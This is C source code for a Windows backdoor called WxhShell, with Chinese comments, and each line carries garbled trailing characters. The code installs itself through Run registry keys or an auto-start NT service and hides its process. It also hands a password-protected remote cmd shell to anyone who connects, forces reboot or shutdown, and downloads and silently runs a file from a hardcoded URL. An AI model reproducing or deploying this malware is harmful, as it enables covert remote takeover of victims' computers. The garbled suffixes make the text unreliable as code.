    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4 N7^?  
    if(Boot(SHUTDOWN)) $D UZ!zaH!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z*2Vpnqh\  
    else { ?KI,cl  
    closesocket(wsh); C{XmVc.  
    ExitThread(0); dw7$Vh0y  
    } N{~Y J$!8  
    break; H]jhAf<h  
    } 9?3&?i2-  
  // 获取shell 5Zva:  
  case 's': { f0aKlhEC  
    CmdShell(wsh); ]}(H0?OQR  
    closesocket(wsh); l?^4!&Nm  
    ExitThread(0); y<bDTeoo  
    break; AZ}Xj>=  
  } SN!?}<|U  
  // 退出 ?8Cq{  
  case 'x': { #`X?=/q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KFkoS0M5|  
    CloseIt(wsh); G<^{&E+=  
    break; rI-%be==  
    } W1FI mlXS  
  // 离开 p Q<Y:-`c  
  case 'q': { CoAv Sw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); g^ i&gNDx  
    closesocket(wsh); ,$+V  
    WSACleanup(); q,U+qt  
    exit(1); 7;(UF=4  
    break; )M//l1  
        } gy9U2Wgf|  
  } y[_Q-   
  } ~PahoRS  
'D"C4;X  
  // 提示信息 W#C*5@8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )sp4Ie  
} ^J8lBLqe  
  } 'xg Lt(  
cX OK)g#  
  return; B=A [ymm  
} +|89>}w4  
3az&<Pqb  
// shell模块句柄 PJrtM AcKq  
int CmdShell(SOCKET sock) X~,aNRy  
{ >:!X.TG$  
STARTUPINFO si; nl,uuc*;  
ZeroMemory(&si,sizeof(si)); E6gI,f/p0X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P{+T< bk|  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6}Y#=}  
PROCESS_INFORMATION ProcessInfo; Nf"r4%M<6  
char cmdline[]="cmd"; '9j="R;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); VsE9H]v   
  return 0; >!1.  
} oVfLnI ;  
z(^]J`+\  
// 自身启动模式 b4ONh%  
int StartFromService(void) Mz~D#6=  
{ krvp&+uX  
typedef struct zSja/yq  
{ Z>Wg*sZy)  
  DWORD ExitStatus; ApV~( k)W  
  DWORD PebBaseAddress; 4X |(5q?  
  DWORD AffinityMask; T7u%^xm  
  DWORD BasePriority; M={V|H0  
  ULONG UniqueProcessId; $!yW_HTx  
  ULONG InheritedFromUniqueProcessId; D(RTVef  
}   PROCESS_BASIC_INFORMATION; 5BKt1%Pg  
4k_vdz  
PROCNTQSIP NtQueryInformationProcess; {U m)15K  
a (b#  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >X4u]>X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; s`'{I8'p/  
A.F738Zp{Z  
  HANDLE             hProcess; OAkZKG|  
  PROCESS_BASIC_INFORMATION pbi; =mpV YA  
q~ZNd3O  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); \GZM&Zd  
  if(NULL == hInst ) return 0; ;n=.>s*XL'  
( _)jkI \  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); giIWGa.a+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0ANZAX5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ]? g@jRs  
[@b&? b~K  
  if (!NtQueryInformationProcess) return 0; OFv%B/O  
IS 2^g>T#1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^, _w$H  
  if(!hProcess) return 0; jWl)cC  
Vq\`+&A  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; =L:4i\4  
>eB\(EP  
  CloseHandle(hProcess); D.Q=]jOs  
,J>5:ht(6  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); `t9?=h!  
if(hProcess==NULL) return 0; }\#Rot>Y  
"C19b:4H  
HMODULE hMod; J/GSceHF  
char procName[255]; VG5+CU  
unsigned long cbNeeded; D+z?wuXk  
>JCM.I0_|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^1aAjYFn  
)3w@]5j  
  CloseHandle(hProcess); 6qaQ[XTxf  
$lIz{ySJv  
if(strstr(procName,"services")) return 1; // 以服务启动 7cO n9fIE  
V=V:SlS9|  
  return 0; // 注册表启动 PGBQn#c<  
} ^!z [t\$  
y_IM@)1H~  
// 主模块 mkF"   
int StartWxhshell(LPSTR lpCmdLine) ?zVL;gVWA  
{ xAe~]k_D  
  SOCKET wsl; .!,z:l$Kh  
BOOL val=TRUE; [4C:r!  
  int port=0; @8^[!F  
  struct sockaddr_in door; yA(K=?sq  
l0cA6b  
  if(wscfg.ws_autoins) Install(); C@W"yYt  
)ZqJh  
port=atoi(lpCmdLine); +0q>fp_K(+  
2e9es  
if(port<=0) port=wscfg.ws_port; !PJ6%"  
)>-ibf`#?  
  WSADATA data; F>[,zN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wG< (F}VX  
Qx47l  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?Poq2  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,gOOiB }  
  door.sin_family = AF_INET; D{4YxR PX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); x,S P'fcP  
  door.sin_port = htons(port); z` FCs,?K  
/BV03B  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Adgc% .#  
closesocket(wsl); V6#K2  
return 1; Y> Wu  
} Zg`Mz _?  
u(t#Ze~Y1  
  if(listen(wsl,2) == INVALID_SOCKET) { :`2=@.  
closesocket(wsl);  n>`as  
return 1; R@#G>4  
} mL`5u f  
  Wxhshell(wsl); OdY=z!Fls  
  WSACleanup(); jDN ]3Y`  
H0R&2#YD  
return 0; FH%GIi  
@%lBrM  
} 3LTcEd  
'fNKlPMv4D  
// 以NT服务方式启动 PF7&p~O(Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 9Xo[(h)5d  
{ b-*3 2Y%  
DWORD   status = 0; Gkxj?)`  
  DWORD   specificError = 0xfffffff; n[,w f9  
>ap1"n9k  
  serviceStatus.dwServiceType     = SERVICE_WIN32; dG71*)<)t  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t 6^l`6:p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \7 NpT}dj  
  serviceStatus.dwWin32ExitCode     = 0; ]UG*r%9  
  serviceStatus.dwServiceSpecificExitCode = 0; \ y{Tn@7  
  serviceStatus.dwCheckPoint       = 0; t"YNgC ^  
  serviceStatus.dwWaitHint       = 0; g@Qgxsyk>  
? j 9|5*  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zb Z4|_  
  if (hServiceStatusHandle==0) return; ~E^,=4  
rzI|?QaPi  
status = GetLastError(); 2JS`Wqy  
  if (status!=NO_ERROR) {?}*1,I  
{ K[7EOXLy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yj(vkifEB  
    serviceStatus.dwCheckPoint       = 0; y{a$y}7#X  
    serviceStatus.dwWaitHint       = 0; zn @N'R/  
    serviceStatus.dwWin32ExitCode     = status; `H3.,]  
    serviceStatus.dwServiceSpecificExitCode = specificError; KB!|B.ChN(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1I}b|6 `  
    return; `O8b1-1q~  
  } &h,5:u  
[J0 v&{)?  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,xT?mt}P  
  serviceStatus.dwCheckPoint       = 0; kz S=g|_  
  serviceStatus.dwWaitHint       = 0; UP{j5gR:_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 56Z\-=KAU  
} irZFV  
i o3yLIy,  
// 处理NT服务事件,比如:启动、停止 z>[tF5  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  X}6#II  
{ ?n\*,{9  
switch(fdwControl) n!E2_  
{ U\?g*  
case SERVICE_CONTROL_STOP: -gz0md|Y  
  serviceStatus.dwWin32ExitCode = 0; X+n`qiwq  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1SV^){5I  
  serviceStatus.dwCheckPoint   = 0; ,s^<X85gp\  
  serviceStatus.dwWaitHint     = 0; l~Lb!;,dN  
  { D=)f )-u'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;bX4(CMe &  
  } 1 Ee>S\9t  
  return; il:nXpM!  
case SERVICE_CONTROL_PAUSE: O;]?gj 1@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 2~;&g?T6  
  break; <39!G7ny  
case SERVICE_CONTROL_CONTINUE: U~2`P  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kDz>r#%  
  break; 5H:@ 8,B  
case SERVICE_CONTROL_INTERROGATE: 7e&\{*  
  break; :<~7y.*O{  
}; i$-#dc2qY  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~-F?Mc  
} ! qJI'+_  
u; TvS |  
// 标准应用程序主函数 em]xtya  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T_OF7?  
{ K.SeK3(  
tO.$+4a  
// 获取操作系统版本 1:= `Y@.S  
OsIsNt=GetOsVer(); 3An(jt$%Q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); =<<3Pkv7@  
hGP1(pH.  
  // 从命令行安装 3LlU]  
  if(strpbrk(lpCmdLine,"iI")) Install(); H*W):j}8  
=J |sbY"]  
  // 下载执行文件 s!6=|SS7  
if(wscfg.ws_downexe) { Dr"/3xm  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Y&'8VdW  
  WinExec(wscfg.ws_filenam,SW_HIDE); 27#8dV?  
} zb2K;%Qs+f  
hE!7RM+Y  
if(!OsIsNt) { ?G/hJ?3  
// 如果时win9x,隐藏进程并且设置为注册表启动 :LV.G0)#  
HideProc(); v29G:YQe  
StartWxhshell(lpCmdLine); @PcCiGZ  
} Vf{2dZZ{1  
else H|+tC=]4IZ  
  if(StartFromService())  ?B4#f!X  
  // 以服务方式启动 C;sgK  
  StartServiceCtrlDispatcher(DispatchTable); vg5NY =O  
else [a8+(  
  // 普通方式启动 & QY#3yj=  
  StartWxhshell(lpCmdLine); Y5jYmP<  
|ft:|/^F&  
return 0; Gm&2R4)EP  
} $ly0h W  
t>U!Zal"  
3%M.U)|+  
E8tD)=1  
=========================================== z Z%/W)t  
iUNnPJh  
XZ:1!;  
!s-/0ugZ  
[$2qna2VP  
VC=6uB  
" ${e&A^h  
%\yK5V5  
#include <stdio.h> !P"?  
#include <string.h> deM~[1e[  
#include <windows.h> l @A"U)A(  
#include <winsock2.h> `D)S-7BR  
#include <winsvc.h> sfC@*Y2XT  
#include <urlmon.h> =8S}Iat  
[s %\.y(q  
#pragma comment (lib, "Ws2_32.lib") ^I./L)0= }  
#pragma comment (lib, "urlmon.lib") ;xW{Ehq-h  
`Xqy  
#define MAX_USER   100 // 最大客户端连接数 Xa Gz].Sv  
#define BUF_SOCK   200 // sock buffer 4sd-zl$Of  
#define KEY_BUFF   255 // 输入 buffer &enlAV'#)O  
 oUS ,+e  
#define REBOOT     0   // 重启 g*r/u;  
#define SHUTDOWN   1   // 关机 36i_D6  
vz,LF=s2  
#define DEF_PORT   5000 // 监听端口 ) ]]|d  
h*l4Y!7  
#define REG_LEN     16   // 注册表键长度 0nT%Slbih  
#define SVC_LEN     80   // NT服务名长度 1Q_ ``.M  
2?H@$-x>  
// 从dll定义API ,^!Zm^4,  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GFY-IC+fc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Zr R+QV  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); U;>B7X;`E4  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rUvwpP"k  
]kH}lr yG  
// wxhshell配置信息 YrKFa%k  
struct WSCFG { vF+YgQ1H  
  int ws_port;         // 监听端口 1YFAr}M  
  char ws_passstr[REG_LEN]; // 口令 }*OD M6  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~W/}:;  
  char ws_regname[REG_LEN]; // 注册表键名 >VypE8H]x  
  char ws_svcname[REG_LEN]; // 服务名 2:n|x5\H  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3v G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 5GUH;o1m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7~lB}$L  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *\C}Ok=  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 4Z],+?.[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~"RQ!&U  
/;b.-v&  
}; <xC: Ant  
 Ckw83X  
// default Wxhshell configuration B_b8r7Vn`  
struct WSCFG wscfg={DEF_PORT, dkf}),Z F  
    "xuhuanlingzhe", oNrEIgaA(+  
    1, wiKCr/  
    "Wxhshell", *(>Jd|C  
    "Wxhshell", %d ZM9I0  
            "WxhShell Service", ?TRW"%  
    "Wrsky Windows CmdShell Service", 2}GKHC  
    "Please Input Your Password: ", V5cb}xx  
  1, F: f2s:<  
  "http://www.wrsky.com/wxhshell.exe", R<_mK33hd  
  "Wxhshell.exe" 2c!h2$w  
    }; ![qRoYpbg8  
m]E o(P4+  
// 消息定义模块 d 4[poi ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l85O-g}M  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]cS&8{ ^2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v4X_v!CQ  
char *msg_ws_ext="\n\rExit."; ]w5ji  
char *msg_ws_end="\n\rQuit."; nm<L&11  
char *msg_ws_boot="\n\rReboot..."; Qu!OV]Cc  
char *msg_ws_poff="\n\rShutdown..."; LqMe'z  
char *msg_ws_down="\n\rSave to "; L;L2j&i%v)  
S6= \r{V  
char *msg_ws_err="\n\rErr!"; =mDy@%yx!  
char *msg_ws_ok="\n\rOK!"; %{7$ \|;J'  
;:-}z.7Y  
char ExeFile[MAX_PATH]; &;'w8_K"^  
int nUser = 0; 8/Lu'rI  
HANDLE handles[MAX_USER]; k?!TjBKm  
int OsIsNt; -Pv P  
 pb,{$A  
SERVICE_STATUS       serviceStatus; ddGkk@CA  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 1uKD&k%q  
 ^xBb$  
// 函数声明 [N'r3  
int Install(void); =MQ2sb  
int Uninstall(void); _Y}^%eFw  
int DownloadFile(char *sURL, SOCKET wsh); 7{?lEQ&UE  
int Boot(int flag); Pcd i  
void HideProc(void); 7Y|Wy Oq  
int GetOsVer(void); q8&4=eV\A  
int Wxhshell(SOCKET wsl); @B}&62T  
void TalkWithClient(void *cs); Lh8# I&x  
int CmdShell(SOCKET sock); Yj|c+&Ng  
int StartFromService(void); iPRJA{$b_  
int StartWxhshell(LPSTR lpCmdLine); Pl`Bd0  
PW(_yB;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); /3xFd)|Ds  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q*TQ*J7".X  
#d7)$ub  
// 数据结构和表定义 $~;6hnr m  
SERVICE_TABLE_ENTRY DispatchTable[] = _rWTw+ L  
{ #t5JUi%in*  
{wscfg.ws_svcname, NTServiceMain}, .)oQM:F (h  
{NULL, NULL} 'Q^G6'(SaK  
}; 7KYF16A4  
% B7?l  
// 自我安装 URj% J/jD  
int Install(void) )%-\hl]  
{ zmrX %!CW  
  char svExeFile[MAX_PATH]; E!O(:/*  
  HKEY key; jb6ZAT<8  
  strcpy(svExeFile,ExeFile); 1{Sx V  
btkMY<o7  
// 如果是win9x系统,修改注册表设为自启动 'RN"yMv7l  
if(!OsIsNt) { H f`&&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rwi5+;N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~h~r]tV*+  
  RegCloseKey(key); MXu+I,y*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NR@SDW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 42H#n]Y  
  RegCloseKey(key); 6.(]}?g1f  
  return 0; ).@)t:uNa  
    } )GF  
  } rkER`  
} _cnrGi}T  
else { 3mnLV*aRt  
! a8h  
// 如果是NT以上系统,安装为系统服务 //@sktHsw(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); RM / s :  
if (schSCManager!=0) wMR[*I/  
{ r>D[5B  
  SC_HANDLE schService = CreateService \&|w;  
  ( .(.G`aKnF  
  schSCManager, ABS BtH ?  
  wscfg.ws_svcname, Kk"B501  
  wscfg.ws_svcdisp, A?<"^<A^  
  SERVICE_ALL_ACCESS, wNlV_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /E1c#@  
  SERVICE_AUTO_START, S@rsQ@PA  
  SERVICE_ERROR_NORMAL, Ts?>"@  
  svExeFile, +[go7A$5  
  NULL, U#^:f7-$.  
  NULL, [&k& $04_  
  NULL, Y$DgL h  
  NULL, P+ h<{%:*  
  NULL 3  %{'Uh,  
  ); $y |6<  
  if (schService!=0) ^[,1+WS%  
  { Y3F.hk}O  
  CloseServiceHandle(schService); f0s<Y  
  CloseServiceHandle(schSCManager); !D]6Cq  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;Z<*.f'^fc  
  strcat(svExeFile,wscfg.ws_svcname); JT+lWhy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3t}o0Ai9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); b|C,b"$N0  
  RegCloseKey(key); \|4MU"ri  
  return 0; za 4B+&JJ  
    } n"VE!`B  
  } 0}3'h#33=  
  CloseServiceHandle(schSCManager); _|V+["IS  
} \< +47+  
} 2ZFK jj  
Z.#glmw^=R  
return 1; Yoym5<xE  
} d}G."wnG9,  
Woy[V  
// 自我卸载 'S-"*:$,u  
int Uninstall(void) ,lGwW8$R  
{ pt;Sk?-1  
  HKEY key; 1OGv+b)  
761"S@tf$}  
if(!OsIsNt) { rMFf8D(Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wtick~)  
  RegDeleteValue(key,wscfg.ws_regname); u~Cqdr5 \l  
  RegCloseKey(key); E;e2{@SX2K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y:Tt$EQ  
  RegDeleteValue(key,wscfg.ws_regname); xaaxj  
  RegCloseKey(key); dD2e"OIX  
  return 0; i3!$M/_]  
  } l.'E\3Bo  
} B=xZkc  
} ju 6_L<  
else { Sgk{NM7|k  
/9^0YC;Y*  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); y#W8] <dS"  
if (schSCManager!=0) -5B([jHgR  
{ KFrmH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n;Wf|>  
  if (schService!=0) GM92yi!8  
  { r_CN/a  
  if(DeleteService(schService)!=0) { eEFT(e5.>3  
  CloseServiceHandle(schService); yc}t(*A5  
  CloseServiceHandle(schSCManager); I>zn$d*0  
  return 0; _Dt TG<E  
  } yU lQPrNX  
  CloseServiceHandle(schService); -$p-o Z)  
  } $f\-.7OD  
  CloseServiceHandle(schSCManager); c8W=Is`  
} YZJP7nN  
} a"N_zGf2$  
Ct33S+y  
return 1; xef7mx  
} ?':'zT  
AY erz  
// 从指定url下载文件 0w&1wee(  
int DownloadFile(char *sURL, SOCKET wsh) 5qko`r@#  
{ eT?LMBn\  
  HRESULT hr; K6Ua~N^  
char seps[]= "/"; 4x >e7Kf  
char *token; k9?+9bExXA  
char *file; &"0[7zgYQz  
char myURL[MAX_PATH]; arrcHf 4O  
char myFILE[MAX_PATH]; 7 4UE-H)  
nwVtfsb  
strcpy(myURL,sURL); Re>e|$.T  
  token=strtok(myURL,seps); #$QY[rf=6  
  while(token!=NULL) 'IszS!kY  
  { tx-bzLo\  
    file=token; ~;` #{$/C&  
  token=strtok(NULL,seps); ,B!Qv3bn  
  } zt6ep=  
wtyu"=  
GetCurrentDirectory(MAX_PATH,myFILE); XCoOs<O:@  
strcat(myFILE, "\\"); .? / J  
strcat(myFILE, file); 4[wP$  
  send(wsh,myFILE,strlen(myFILE),0); !9NAm?Fw  
send(wsh,"...",3,0); :Tl?yG F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); G}*B`m  
  if(hr==S_OK) Uk4">]oct  
return 0; 5#PhaVc  
else mYvm_t9  
return 1; }+1oD{  
%cL:*D4oz  
} UQ?8dw:E~  
Y@eUvz  
// 系统电源模块 K<(R Vh  
int Boot(int flag) WBIS  
{ !NtY4O/  
  HANDLE hToken; 8!fw Xm  
  TOKEN_PRIVILEGES tkp; -D(!B56_  
AJ mzg  
  if(OsIsNt) { 71InYIed  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D?R  z|  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); e ^QOn  
    tkp.PrivilegeCount = 1; 98"NUT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; oxZ(qfjS  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ;iVyJZI  
if(flag==REBOOT) { crQuoOl7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Qd&j~cG@  
  return 0; @,vSRns  
} VTU-'q  
else { 4m:E:zVn  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) < jF<_j  
  return 0; :%gBcL9T  
} `4MPXfoBL  
  } Y9N:%[ :>W  
  else { 9^n ]qg^  
if(flag==REBOOT) { t@\0$V \X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 42M3c&@P  
  return 0; apXq$wWq{D  
} pH%K4bV)8  
else { Qa=;Elp:[  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ej~ /sO  
  return 0; :n=+$Dq  
} VQyDd~Za  
} w[iQndu  
JG `QJ%  
return 1; #X+)  
} W$W7U|Z9y+  
SFHa(JOS  
// win9x进程隐藏模块 b3ZPlLx6  
void HideProc(void) eL.S="  
{ :3k(=^%G!  
Q["}U7j  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <M=K!k  
  if ( hKernel != NULL ) :Vg,[\I{  
  { B N=,>-O%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); KM6r}CDHs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Lt)t}0  
    FreeLibrary(hKernel); =8]'/b  
  } j$,`EBf`:<  
g#e"BBm=A  
return; Kxg09\5i  
} wXP1tM8T  
a}yJ$6xi  
// 获取操作系统版本 $ysC)5q.  
int GetOsVer(void) 3Cpix,Dc  
{ hod|o1C&  
  OSVERSIONINFO winfo; q o'1Pknz  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); \ZA%"F){  
  GetVersionEx(&winfo); {d) +a$qj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b[$>HB_Na  
  return 1; +f+\uObi:  
  else {w2<;YXj!  
  return 0; h5~tsd}OU  
} ^OUkFH;dG?  
VB Ce=<  
// 客户端句柄模块 R{.ku!w  
int Wxhshell(SOCKET wsl) +!X^E9ra  
{ rVkHo*Q  
  SOCKET wsh; ex-`+cF  
  struct sockaddr_in client; )ZT&V I  
  DWORD myID; zU(U^  
-IPc;`<  
  while(nUser<MAX_USER) hNQ,U{`;^  
{ JMoWA0f  
  int nSize=sizeof(client); rK];2[U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q?vGg{>  
  if(wsh==INVALID_SOCKET) return 1; IKpNc+;p  
^NP" m  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *F=w MWa  
if(handles[nUser]==0) \i{=%[c  
  closesocket(wsh); )4j#gHN\  
else Y1+f(Q  
  nUser++; mgS%YG  
  } zp d4uto5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); oSxHTbp?  
i2EB.Zlv  
  return 0; Nhs]U`s(g  
} 9^`G `D  
!IP[C?(nB  
// 关闭 socket Q&yfl  
void CloseIt(SOCKET wsh) /+%1Kq.hP  
{  F`f#gpQ  
closesocket(wsh); O GSJR`yT  
nUser--; PZQ}G*p3  
ExitThread(0); X)`? P*[  
}  u"tv6Qp  
a Z ^SK|E  
// 客户端请求句柄 IS"UBJ6p  
void TalkWithClient(void *cs) Z|E( !"zE9  
{ zf#V89!]C"  
Aqq%HgY:t  
  SOCKET wsh=(SOCKET)cs; v]c1|?9p'  
  char pwd[SVC_LEN]; ]x! vPIyq  
  char cmd[KEY_BUFF]; W&)O i ZN  
char chr[1]; ?:~ `?  
int i,j; BT >8  
yjc:+Y{5'  
  while (nUser < MAX_USER) { .BuY[,I+  
anHP5gD  
if(wscfg.ws_passstr) { )N<>L/R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &!a[rvtZ+  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (q*Za  
  //ZeroMemory(pwd,KEY_BUFF); ` Y"Rh[C  
      i=0; Q l ql(*  
  while(i<SVC_LEN) { %/jm Q6z^  
++BVn[1  
  // 设置超时 >(p "!  
  fd_set FdRead; | \C{R  
  struct timeval TimeOut; mbU[fHyV  
  FD_ZERO(&FdRead); _"Y;E  
  FD_SET(wsh,&FdRead); ZI-)'  
  TimeOut.tv_sec=8; I"y=A7Nq  
  TimeOut.tv_usec=0; ^7V9\Q9  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Xb5n;=)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Q];+?Pu.  
Fn yA;,*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rU%\ 8T0f  
  pwd=chr[0];  jI[:`  
  if(chr[0]==0xd || chr[0]==0xa) { 32:q'   
  pwd=0; M n3cIGL  
  break; Rq<T2}K  
  } _\1wLcFj  
  i++; mN!>BqvN  
    } 8!'#B^  
~W_m<#K(  
  // 如果是非法用户,关闭 socket \2*<Pq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ym{?vY h  
} A!x_R {,yH  
It!PP1$   
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HFB2ep7N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4hr;k0sD  
==l p\  
while(1) { X )$3sTj  
p9y "0A|  
  ZeroMemory(cmd,KEY_BUFF); 1}}.e^Tsfr  
w$u=_  
      // 自动支持客户端 telnet标准   j_H{_Ug  
  j=0; !FX;QD@"  
  while(j<KEY_BUFF) { &>ii2% 4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -:h5Ky"  
  cmd[j]=chr[0]; a]Bm0gdrO  
  if(chr[0]==0xa || chr[0]==0xd) { 4w}\2&=  
  cmd[j]=0; cO.U*UTmX  
  break; G29PdmY$<  
  } u`xmF/jhQ  
  j++; b54<1\&  
    } ?54=TA|5`F  
By]XD~gcP  
  // 下载文件 4/&Us  
  if(strstr(cmd,"http://")) { zQMsS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5hUYxF20h8  
  if(DownloadFile(cmd,wsh)) J}Bg<[n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 47ppyh6@  
  else Z2_eTC u  
